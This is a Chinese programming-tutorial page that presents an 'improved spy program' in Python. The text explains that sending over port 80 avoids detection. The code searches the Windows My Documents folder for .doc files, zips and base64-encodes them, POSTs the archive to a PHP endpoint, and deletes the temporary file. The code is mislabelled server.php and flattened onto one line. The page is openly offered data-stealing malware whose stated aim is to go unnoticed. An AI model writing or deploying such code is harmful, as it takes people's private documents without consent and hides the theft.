首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > perl python >

python 特工程序传输文件改进版 PHP作服务端

2013-09-28 
python 间谍程序传输文件改进版 PHP作服务端上一篇 间谍程序传输文件 socket编程 其实有两点不好:1、作为间

python 间谍程序传输文件改进版 PHP作服务端

上一篇 间谍程序传输文件 socket编程 其实有两点不好:

1、作为间谍程序,自己开2000端口,很容易被发现,应该走80端口

2、用PHP作服务端比用python直接IP开server socket 简单,自然且稳定一点(也就一点啦)


server.php

# -*- coding: cp936 -*-import socketimport win32com.clientimport win32apiimport osimport timeimport zipfileimport codecsimport base64import urllib2,urllib,httplibdef walk_dir(dir,filelist,extName,topdown=True):    for root, dirs, files in os.walk(dir, topdown):        for name in files:            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:                filelist.append(os.path.join(root,name))               for name in dirs:            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:                filelist.append(os.path.join(root,name))def post_data(data,HOST,PORT):    conn = httplib.HTTPConnection(HOST,PORT)    conn.request('POST','/server.php',data,{})    response = conn.getresponse()    resdata = response.read()    print response    def main():            HOST = '127.0.0.1'    PORT = 80    BUF_SIZE = 65535    key = 'ouyang'    dicName = "C:\Documents and Settings\Administrator\我的文档"    extName = '.doc'    #遍历搜索我的文档的doc类型    try:        filelist = []        walk_dir(dicName,filelist,extName)    except IOError,e:        print "文件处理错误: " % e        sys.exit(-1)       #压缩成zip文件    zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)    for f in filelist:        zfile.write(f)    zfile.close()        #base 2进制 加密 encode(infile,outfile)    infile = open('in.zip','rb')    tmpfile = open('in.tmp','wb')    base64.encode(infile,tmpfile)    infile.close()    tmpfile.close()        #send    tmpfile = open('in.tmp','rb')    post_data(tmpfile.read(),HOST,PORT)    tmpfile.close()        #后续处理 删除中间文件    os.remove('in.tmp')        if __name__=='__main__':    main()



热点排行